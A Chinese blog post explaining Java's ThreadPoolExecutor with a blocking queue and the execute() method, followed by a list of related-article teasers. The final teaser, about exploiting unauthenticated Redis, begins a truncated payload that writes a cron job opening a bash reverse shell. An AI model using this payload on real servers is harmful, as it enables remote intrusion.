在Java中,已经实现了4中内置的线程池,这四种我不多聊。

大家各种网站论坛都能查得到。

现在说一下这四种线程池的基类:

  1. ThreadPoolExecutor
    ThreadPoolExecutor中你可以定义自由的线程池:
    如定长线程池、可缓存线程池,现在按照我写的一个定长线程池来说一下:
    我的线程池管理类:TaskThreadPoolManager
  2.  
  3. cachedThreadPool = new ThreadPoolExecutor(MAX_THREADPOOLSIZE, MAX_THREADPOOLSIZE, 1, TimeUnit.HOURS, queue, new ThreadPoolExecutor.CallerRunsPolicy());
  1. 在其中主要设定了一个LinkedBlockingQueue
  1. 这个阻塞队列对象,可以帮助我们干什么呢?
    简单理解:
    当你设定线程池的最大线程数量为maximumPoolSize时,如果有新的执行任务进来,新线程任务不被执行将会被缓存在LinkedBlockingQueue之中。
    举个栗子:
    当你从MQ接收到10个消息,有10个线程在同时处理这个消息的内容,
    MQ又来了20个消息,而你需要等前10个消息处理完才能处理这20个消息
    如果你设定阻塞队列深度为20,那么这20条消息将会被接收,待处理的内容将会存在阻塞队列中
    同时,你可以在接收消息的线程中,判定阻塞队列的大小,从而约束服务器是否继续接收消息(避免内存挤崩)。
    所以,加上前面正在处理的10条消息,你在MQ中只接收到了30条消息。。。。。。
    说到这里,大家应该对阻塞队列的使用了如执掌了。
    那么下面,说一下JDK默认线程池暴露在外面的执行方法:
    public abstract void execute(@org.jetbrains.annotations.NotNull Runnable command);
    没错,是一个Runnable实现类,所以执行起来很简单啦:
  1. cachedThreadPool.execute(runnable);
    runnable就是你的线程。
    是不是够简单?
    好吧、、、我承认排版很烂,以后会加强此方面#83
    最后,问大家一个问题,你们说实现线程的两种方式哪一种更好呢?
    请忽略JDK8的线程实现方式~~~

Java线程池简聊的更多相关文章

  1. 深入浅出Java线程池:源码篇

    前言 在上一篇文章深入浅出Java线程池:理论篇中,已经介绍了什么是线程池以及基本的使用.(本来写作的思路是使用篇,但经网友建议后,感觉改为理论篇会更加合适).本文则深入线程池的源码,主要是介绍Thr ...

  2. Java线程池详解(一)

    一.线程池初探 所谓线程池,就是将多个线程放在一个池子里面(所谓池化技术),然后需要线程的时候不是创建一个线程,而是从线程池里面获取一个可用的线程,然后执行我们的任务.线程池的关键在于它为我们管理了多 ...

  3. Java 线程池框架核心代码分析--转

    原文地址:http://www.codeceo.com/article/java-thread-pool-kernal.html 前言 多线程编程中,为每个任务分配一个线程是不现实的,线程创建的开销和 ...

  4. Java线程池使用说明

    Java线程池使用说明 转自:http://blog.csdn.net/sd0902/article/details/8395677 一简介 线程的使用在java中占有极其重要的地位,在jdk1.4极 ...

  5. (转载)JAVA线程池管理

    平时的开发中线程是个少不了的东西,比如tomcat里的servlet就是线程,没有线程我们如何提供多用户访问呢?不过很多刚开始接触线程的开发攻城师却在这个上面吃了不少苦头.怎么做一套简便的线程开发模式 ...

  6. Java线程池的那些事

    熟悉java多线程的朋友一定十分了解java的线程池,jdk中的核心实现类为java.util.concurrent.ThreadPoolExecutor.大家可能了解到它的原理,甚至看过它的源码:但 ...

  7. 四种Java线程池用法解析

    本文为大家分析四种Java线程池用法,供大家参考,具体内容如下 http://www.jb51.net/article/81843.htm 1.new Thread的弊端 执行一个异步任务你还只是如下 ...

  8. Java线程池的几种实现 及 常见问题讲解

    工作中,经常会涉及到线程.比如有些任务,经常会交与线程去异步执行.抑或服务端程序为每个请求单独建立一个线程处理任务.线程之外的,比如我们用的数据库连接.这些创建销毁或者打开关闭的操作,非常影响系统性能 ...

  9. Java线程池应用

    Executors工具类用于创建Java线程池和定时器. newFixedThreadPool:创建一个可重用固定线程数的线程池,以共享的无界队列方式来运行这些线程.在任意点,在大多数 nThread ...

随机推荐

  1. 移除项目中的UIWebView

    1,AFN升级4.0 2,代码中搜索UIWebView移除相关文件 3,检查库是否使用的UIWebView 参考 https://www.jianshu.com/p/3a645500d461

  2. 测试工程中引入Masonry记录

    测试工程中需要引入Masonry,在进行添加新库时发现了几个问题,记录如下,方便有相同问题的朋友查找解决:   1,podfile中添加 pod ‘Masonry’ 后,pod install --v ...

  3. 实验6、Python-OpenCV宽度测量

    一. 题目描述 测量所给图片的高度,即上下边缘间的距离. 思路: 将图片进行阈值操作得到二值化图片. 截取只包含上下边框的部分,以便于后续的轮廓提取 轮廓检测 得到结果 二. 实现过程 1.用于给图片 ...

  4. SPL基础接口

    Iterator 迭代器接口 SPL规定,所有实现了Iterator接口的class,都可以用在foreach Loop中.Iterator接口中包含5个必须实现的方法: interface Iter ...

  5. HTML特殊符号整理

    往网页中输入特殊字符,需在html代码中加入以&开头的字母组合或以&#开头的数字.下面就是以字母或数字表示的特殊符号大全.                               ...

  6. Verilog代码和FPGA硬件的映射关系(三)

    组合逻辑和FPGA之间的映射关系我们知道了,那时序逻辑和FPGA之间又是一种怎样的映射关系呢?我们就以前面寄存器章节的例子来向大家说明,也一同把当时为什么用异步复位更节约资源的原因告诉大家.我们先来看 ...

  7. Java获取主板序列号、MAC地址、CPU序列号工具类

    import java.io.File; import java.io.FileWriter; import java.io.BufferedReader; import java.io.IOExce ...

  8. [Objective-C] 017_UI篇_UIView(中)

    在上篇我们简单讲了UIView的坐标与几何结构,这篇我们来实战UIView一下.UIView在App中有着绝对重要的地位,因为可视化控件几乎都是UIView的子类.在App负责渲染区域的内容,并且响应 ...

  9. Python数据分析:pandas玩转Excel (一)

    目录 1 pandas简介 2 导入 3 使用 4 读取.写入 1 pandas简介 1.Pandas是什么? Pandas是一个强大的分析结构化数据的工具集: 它的使用基础是Numpy(提供高性能的 ...

  10. redis未授权漏洞和主从复制rce漏洞利用

    未授权无需认证访问内部数据库. 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /de ...